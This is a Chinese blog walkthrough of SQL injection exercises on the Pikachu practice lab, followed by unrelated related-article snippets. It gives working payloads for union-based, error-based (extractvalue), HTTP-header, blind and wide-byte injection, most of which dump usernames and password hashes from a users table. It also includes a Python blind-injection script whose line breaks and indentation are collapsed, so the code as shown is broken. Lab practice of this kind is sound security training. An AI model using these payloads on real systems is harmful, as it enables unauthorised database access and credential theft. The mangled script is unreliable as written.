pikachu平台SQL注入

news/2024/10/18 1:38:27/

pikachu平台SQL注入

日常心累、速通pikachu注入相关


目录

  • pikachu平台SQL注入
    • 使用到的名词解释
    • 1. 数字型注入 --使用bp处理数据包
    • 2. 字符型注入 --hackbar处理
    • 3. 搜索型注入
    • 4. xx型注入
    • 5. insert/update注入
    • 6. delete注入
    • 7. http头注入
    • 8. 布尔盲注
    • 9. 时间盲注
    • 10. 宽字节注入


使用到的名词解释

mysql信息收集
数据库版本: version()
数据库用户: user()
数据库名字: database()
操作系统: @@version_compile_os
记录所有数据库、表、字段的数据库: information_schema
information_schema.tables : 表
information_schema.columns : 字段
table_name:表名
column_name:字段名

1. 数字型注入 --使用bp处理数据包

确认注入点
id=3 and 1=1&submit=%E6%9F%A5%E8%AF%A2

确认最大返回数
id=3 order by 2&submit=%E6%9F%A5%E8%AF%A2

联合查询返回数据库版本,操作系统等数据
id=3 union select version(),@@version_compile_os&submit=%E6%9F%A5%E8%AF%A2

查表
id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

查字段
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'&submit=%E6%9F%A5%E8%AF%A2

查看字段值
id=3 union select 1,group_concat(concat_ws('~',username,password)) from users&submit=%E6%9F%A5%E8%AF%

2. 字符型注入 --hackbar处理

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe'--+&submit=%E6%9F%A5%E8%AF%A2

由于是在同个数据库下,直接根据users表查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_str.php?name=kobe' union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

3. 搜索型注入

简单的sql语句:SELECT * FROM user WHERE username LIKE '小%';

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe'--+&submit=%E6%90%9C%E7%B4%A2

直接查users字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_search.php?name=kobe' union select 1,2,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%90%9C%E7%B4%A2

4. xx型注入

确认注入点
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe')--+&submit=%E6%9F%A5%E8%AF%A2

直接查字段
http://192.168.1.28/pikachu-master/vul/sqli/sqli_x.php?name=kobe') union select 1,group_concat(concat_ws('~',username,password)) from users--+&submit=%E6%9F%A5%E8%AF%A2

5. insert/update注入

由于不是查询语句,可以使用报错查询
在注册页面:
用户:qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '
密码:随意
其余:随意

爆users字段
用户:' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
密码:随意
其余:随意
报错返回:XPATH syntax error: 'admin~e10adc3949ba59abbe56e057f'
请添加图片描述

6. delete注入

删除时使用BP抓包,PHP会调用delete语句,让他报错就行

注入点
id=77+or+extractvalue(1,concat(0x7e,(select(database()),0x7e))

查users表字段值
id=77+or+extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))

请添加图片描述

7. http头注入

注入点
Accept: qiye' || (extractvalue(1,concat(0x7e,(select(database())),0x7e))) || '

查users中字段数据
Accept: ' || (extractvalue(1,concat(0x7e,(select(group_concat(concat_ws('~',username,password)))from(users)),0x7e))) || '
请添加图片描述

8. 布尔盲注

注入点
先找一个存在的username,所以用系统给的kobe,这里通过异或运算来逻辑判断正确与失败
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^1--+

简单手工测试,这里测试数据库的第一个字符的ascii(根据前面已知数据库名为pikachu,故第一个字符为p,p的ascii码为112)
http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>111)--+

http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and 0^(ascii(substr((select(database())),1,1))>112)--+
发现第一个payload有返回结果,第二个payload没有返回结果,故可以通过爆破字段的ascii码来获取数据,所以开始写poc:

import requests
import timeurl="http://192.168.1.28/pikachu-master/vul/sqli/sqli_blind_b.php?submit=%E6%9F%A5%E8%AF%A2&name=kobe' and "
name=''for i in range(1, 80):print(i)low = 31high = 127mid=(low + high) // 2while low < high:#payload = "0^(ascii(substr((select(database())),%d,1))>%d)--+" % (i, mid)#payload = "0^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)--+"%(i, mid)#payload = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))>%d)--+"%(i, mid)payload = "0^(ascii(substr((select(group_concat(username,'~',password))from(users)),%d,1))>%d)--+"%(i, mid)r = requests.get(url + payload)print(url + payload)if 'kobe' in r.text:   #kobe为文章内容,一旦正常返回,则字符爆破正确low = mid+1else:high=midmid = (low + high) // 2if(mid == 32):breakname = name + chr(mid)print (name)

请添加图片描述

9. 时间盲注

暂时不写,主要POC想想怎么写

10. 宽字节注入

name=kobe%df' union select 1,group_concat(username,password) from users--+&submit=%E6%9F%A5%E8%AF%A2
请添加图片描述


http://www.ppmy.cn/news/776.html

相关文章

Shell基础语法——命令

内建命令&#xff08;内置命令&#xff09; 所谓 Shell 内建命令&#xff0c;就是由 Bash 自身提供的命令&#xff0c;而不是文件系统中的某个可执行文件。可以使用 type 来确定一个命令是否是内建命令。 通常来说&#xff0c;内建命令会比外部命令执行得更快&#xff0c;执行…

【云原生之Docker实战】使用docker部署Homebox内网测速工具

【云原生之Docker实战】使用docker部署Homebox内网测速工具 一、Homebox介绍1.Homebox简介2.Homebox特点二、检查本地系统环境1.检查系统版本2.检查系统内核版本三、检查docker环境1.检查docker版本2.检查docker状态四、下载Homebox镜像五、安装docker-compose工具1.下载docker…

qt程序的CMakeLists.txt配置转为平台的qt的.pro项目工程文件

参考这个 跨平台qt程序的CMakeLists.txt配置转为平台的qt的.pro项目工程文件_谁能懂我2011的博客-CSDN博客 一些比较正规的跨平台qt项目没有.pro项目文件只有CMakeLists.txt文件&#xff0c;如果要编译调试的话得转为qt项目&#xff0c; 首先打开qt安装目录里面的qmake工具&a…

leetcode 376 摆动序列

题目 如果连续数字之间的差严格地在正数和负数之间交替&#xff0c;则数字序列称为 摆动序列 。第一个差&#xff08;如果存在的话&#xff09;可能是正数或负数。仅有一个元素或者含两个不等元素的序列也视作摆动序列。 例如&#xff0c; [1, 7, 4, 9, 2, 5] 是一个 摆动序列…

SAP ABAP——数据类型(三)【TYPE-POOL和INCLUDE嵌套定义类型】

&#x1f482;作者简介&#xff1a; THUNDER王&#xff0c;一名热爱财税和SAP ABAP编程以及热爱分享的博主。目前于江西师范大学会计学专业大二本科在读&#xff0c;同时任汉硕云&#xff08;广东&#xff09;科技有限公司ABAP开发顾问。在学习工作中&#xff0c;我通常使用偏后…

AI 作画领域中的“神笔马良”是怎样炼成的?

本文由行者AI携手亚马逊云科技共同推出 刷爆朋友圈的 AIGC 是什么&#xff1f; AI Generated Content (AIGC&#xff0c;利用人工智能技术来生成内容)&#xff0c;是继专业生产内容&#xff08;PGC, Professional-generated Content&#xff09;、用户生产内容&#xff08;UGC…

构建curl 静态库 vs2012win7可用

https://www.youtube.com/watch?appdesktop&vq_mXVZ6VJs4

线程的状态

目录 1.线程的几种状态 2.TERMINATED状态 3.获取线程的状态 4.线程存在的意义 1.线程的几种状态 (1) NEW : 线程对象已经存在,但是线程没有启动 (2) RUNNABLE : 线程正在CPU上运行,或者可以在CPU上运行(就绪状态) (3) TIME_WAITING : 线程当前处于堵塞状态.(wait/join) …